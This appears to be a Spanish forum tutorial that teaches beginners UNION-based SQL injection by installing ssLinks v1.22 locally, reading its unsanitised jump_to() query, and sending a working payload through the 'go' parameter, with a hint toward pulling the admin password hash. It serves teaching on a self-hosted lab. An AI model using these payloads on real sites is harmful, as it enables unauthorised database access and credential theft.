Prefacio
Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.
El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.
Nivel
Principiante.
Herramientas necesarias
- Bloc de notas o editor de texto.
- Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
- ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
- Ganas de aprender
Montando el escenario
Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.
Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php. Veremos algo parecido a lo siguiente:
Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber
Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.
Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.
Código:
CREATE TABLE sslinkcats (
lcat_id int(11) NOT NULL auto_increment,
lcat_cat int(11) DEFAULT '0' NOT NULL,
lcat_name varchar(100) NOT NULL,
lcat_header text,
lcat_ranking int(11),
lcat_numlinks int(11) DEFAULT '0' NOT NULL,
PRIMARY KEY (lcat_id)
)
Código:
CREATE TABLE sslinks (
link_id int(11) NOT NULL auto_increment,
link_cat int(11) DEFAULT '0' NOT NULL,
link_name varchar(100) NOT NULL,
link_url varchar(255) NOT NULL,
link_desc text,
link_hits int(11) DEFAULT '0' NOT NULL,
link_totalrate int(11),
link_numvotes int(11),
link_dateadd int(11),
link_addemail varchar(255),
link_addname varchar(100),
link_validated char(3),
link_recommended char(3) DEFAULT 'no' NOT NULL,
PRIMARY KEY (link_id)
)
Y por último, cambiar estas líneas del archivo global.inc.php:
Código:
// mySQL database Host / Name / Username / Password
$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password
Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.
Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:
Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.
Igualmente estos datos se pueden encontrar en el archivo global.inc.php
Código:
// Admin username / password for the script
$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin
Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.
Ok. Perfecto. Logout y tenemos el escenario montado
Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)
El ataque
Empezemos lo divertido
Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".
Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:
Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.
De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.
Pues bien, miremos primero de todo si la variable go es vulnerable.
Abrimos el archivo links.php:
Código:
<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/
// See global.inc.php for changes since version 1.0.
include("global.inc.php"); //Change this if global.inc.php is in a different directory
// You should not need to change anything below this line.
$admin = is_admin();
$return = numlinks_array(); // Build array of number of links in each category
$numlinks = $return[0];
$numlinkstree = $return[1];
if ((!$cat) && (!$go) && (!$action))
$cat = 0;
if (isset($go))
{
jump_to($go);
}
if ($action == "login")
{
if ($username)
login($username, $password);
}
...
?>
Ahora toca pensar como una máquina
Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().
Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...
Código:
include("global.inc.php");
Pues nos toca buscar esta función en tal archivo.
Abrimos el archivo global.inc.php y... sorpresa!
En la línea 543 encontramos la función!
Código:
<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>
Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).
Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.
Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...
Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...
Código:
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
La variable $id se pasa como sentencia SQL sin estar limpiada!!
Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.
La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado (de momento)
Para ello, modificar la función de tal manera que quede así:
Código:
<?php
function jump_to($id)
{
$id = stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host, $db_name, $db_user, $db_pass;
$cnx = mysql_connect($db_host, $db_user, $db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name, $cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num = mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row = mysql_fetch_array($result))
{
$hits = $row["link_hits"];
$url = $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>
Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.
Perfecto... Empezemos a hacer pruebas!
En nuestro navegador escribamos...
Código:
http://localhost/sslinks-v122/links.php?go=ertai r00lz XD
Y que sale?
Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'
Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.
Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.
Un poco de SQL...
Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.
Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.
Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.
Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.
Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".
P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)
P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.
P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco
Manos a la obra:
Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'
Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.
Código:
SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'
Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.
Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:
Código:
-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.
Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.
Por lo tanto, escribid en vuestro navegador:
Código:
http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1
Y como veis nos intenta llevar a:
Código:
http://RUTA_DONDE_TENGAIS_SSLINKS/numero
... donde numero es el numero de visitas del link con ID=1.
Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.
Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.
Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.
Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.
Agradecimientos
A todo el staff de elhacker.net, aquellos que están y los que estuvieron.
Y gracias a vosotros por haber llegado hasta esta última linea.
Un saludo,
Ertai
---edit---
imagenes de imageshack regresadas